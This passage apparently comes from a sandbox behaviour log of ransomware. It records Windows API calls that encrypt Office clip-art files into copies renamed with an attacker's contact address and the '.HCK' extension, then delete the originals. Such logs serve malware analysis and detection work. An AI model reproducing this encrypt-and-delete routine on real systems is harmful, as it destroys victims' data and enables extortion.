(lpString=".pdf") returned 4 [0169.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".xls") returned 4 [0169.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.890] lstrlenW (lpString=".xlsx") returned 5 [0169.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.891] lstrlenW (lpString=".ppt") returned 4 [0169.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.891] lstrlenW (lpString=".zip") returned 4 [0169.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.891] lstrlenW (lpString=".rar") returned 4 [0169.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.891] lstrlenW (lpString=".bz2") returned 4 [0169.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.891] lstrlenW (lpString=".7z") returned 3 [0169.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.891] lstrlenW (lpString=".dbf") returned 4 [0169.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.891] lstrlenW (lpString=".1cd") returned 4 [0169.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.891] lstrlenW (lpString=".jpg") returned 4 [0169.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.891] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.891] lstrlenW (lpString="J0185806.WMF") returned 12 [0169.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.895] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=30522) returned 1 [0169.895] CloseHandle (hObject=0x330) returned 1 [0169.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 0x220 [0169.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.898] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.898] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.907] GetLastError () returned 0x0 [0169.907] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x773a, lpOverlapped=0x0) returned 1 [0169.911] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7740, lpOverlapped=0x0) returned 1 [0169.912] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.912] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.912] SetEndOfFile (hFile=0x368) returned 1 [0169.914] CloseHandle (hObject=0x368) returned 1 [0169.916] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.916] SetEndOfFile (hFile=0x370) returned 1 [0169.926] CloseHandle (hObject=0x370) returned 1 [0169.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0169.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.928] lstrlenW (lpString=".doc") returned 4 [0169.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.928] lstrlenW (lpString=".docx") returned 5 [0169.928] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.928] lstrlenW (lpString=".pdf") returned 4 [0169.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.928] lstrlenW (lpString=".xls") returned 4 [0169.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.928] lstrlenW (lpString=".xlsx") returned 5 [0169.928] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.928] lstrlenW (lpString=".ppt") returned 4 [0169.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".zip") returned 4 [0169.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.929] lstrlenW (lpString=".rar") returned 4 [0169.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString=".bz2") returned 4 [0169.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString=".7z") returned 3 [0169.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".dbf") returned 4 [0169.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".1cd") returned 4 [0169.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".jpg") returned 4 [0169.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".doc") returned 4 [0169.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString=".docx") returned 5 [0169.929] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.929] lstrlenW (lpString=".pdf") returned 4 [0169.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString=".xls") returned 4 [0169.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.929] lstrlenW (lpString=".xlsx") returned 5 [0169.929] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.929] lstrlenW (lpString=".ppt") returned 4 [0169.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".zip") returned 4 [0169.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.929] lstrlenW (lpString=".rar") returned 4 [0169.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString=".bz2") returned 4 [0169.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString=".7z") returned 3 [0169.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".dbf") returned 4 [0169.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".1cd") returned 4 [0169.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68 [0169.929] lstrlenW (lpString=".jpg") returned 4 [0169.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.930] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.930] lstrlenW (lpString="J0185842.WMF") returned 12 [0169.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.936] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14308) returned 1 [0169.936] CloseHandle (hObject=0x308) returned 1 [0169.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 0x220 [0169.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.946] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.946] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.952] GetLastError () returned 0x0 [0169.952] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x37e4, lpOverlapped=0x0) returned 1 [0169.957] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x37f0, lpOverlapped=0x0) returned 1 [0169.957] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.957] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.958] SetEndOfFile (hFile=0x378) returned 1 [0169.960] CloseHandle (hObject=0x378) returned 1 [0169.962] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.962] SetEndOfFile (hFile=0x330) returned 1 [0169.968] CloseHandle (hObject=0x330) returned 1 [0169.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0169.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.972] lstrlenW (lpString=".doc") returned 4 [0169.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.972] lstrlenW (lpString=".docx") returned 5 [0169.972] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.972] lstrlenW (lpString=".pdf") returned 4 [0169.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.972] lstrlenW (lpString=".xls") returned 4 [0169.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.972] lstrlenW (lpString=".xlsx") returned 5 [0169.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.972] lstrlenW (lpString=".ppt") returned 4 [0169.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.972] lstrlenW (lpString=".zip") returned 4 [0169.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.972] lstrlenW (lpString=".rar") returned 4 [0169.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.972] lstrlenW (lpString=".bz2") returned 4 [0169.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.972] lstrlenW (lpString=".7z") returned 3 [0169.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.972] lstrlenW (lpString=".dbf") returned 4 [0169.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.972] lstrlenW (lpString=".1cd") returned 4 [0169.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString=".jpg") returned 4 [0169.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString=".doc") returned 4 [0169.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString=".docx") returned 5 [0169.973] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.973] lstrlenW (lpString=".pdf") returned 4 [0169.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString=".xls") returned 4 [0169.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.973] lstrlenW (lpString=".xlsx") returned 5 [0169.973] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.973] lstrlenW (lpString=".ppt") returned 4 [0169.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString=".zip") returned 4 [0169.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.973] lstrlenW (lpString=".rar") returned 4 [0169.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString=".bz2") returned 4 [0169.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString=".7z") returned 3 [0169.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString=".dbf") returned 4 [0169.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString=".1cd") returned 4 [0169.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68 [0169.973] lstrlenW (lpString=".jpg") returned 4 [0169.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.973] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.973] lstrlenW (lpString="J0186364.WMF") returned 12 [0169.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.974] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=18212) returned 1 [0169.974] CloseHandle (hObject=0x378) returned 1 [0169.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 0x220 [0169.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.982] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.983] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.989] GetLastError () returned 0x0 [0169.989] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4724, lpOverlapped=0x0) returned 1 [0169.991] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4730, lpOverlapped=0x0) returned 1 [0169.992] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.992] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.992] SetEndOfFile (hFile=0x308) returned 1 [0169.995] CloseHandle (hObject=0x308) returned 1 [0169.997] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.997] SetEndOfFile (hFile=0x364) returned 1 [0170.003] CloseHandle (hObject=0x364) returned 1 [0170.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186364.wmf")) returned 1 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.006] lstrlenW (lpString=".doc") returned 4 [0170.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".docx") returned 5 [0170.007] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.007] lstrlenW (lpString=".pdf") returned 4 [0170.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".xls") returned 4 [0170.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.007] lstrlenW (lpString=".xlsx") returned 5 [0170.007] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.007] lstrlenW (lpString=".ppt") returned 4 [0170.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString=".zip") returned 4 [0170.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.007] lstrlenW (lpString=".rar") returned 4 [0170.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".bz2") returned 4 [0170.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".7z") returned 3 [0170.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString=".dbf") returned 4 [0170.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString=".1cd") returned 4 [0170.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString=".jpg") returned 4 [0170.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186364.WMF") returned 68 [0170.007] lstrlenW (lpString=".doc") returned 4 [0170.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".docx") returned 5 [0170.007] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.007] lstrlenW (lpString=".pdf") returned 4 [0170.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString=".xls") returned 4 [0170.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.007] lstrlenW (lpString=".xlsx") returned 5 [0170.007] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.007] lstrlenW (lpString=".ppt") returned 4 [0170.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.007] lstrlenW (lpString="C:\\Program Files\\Microsoft 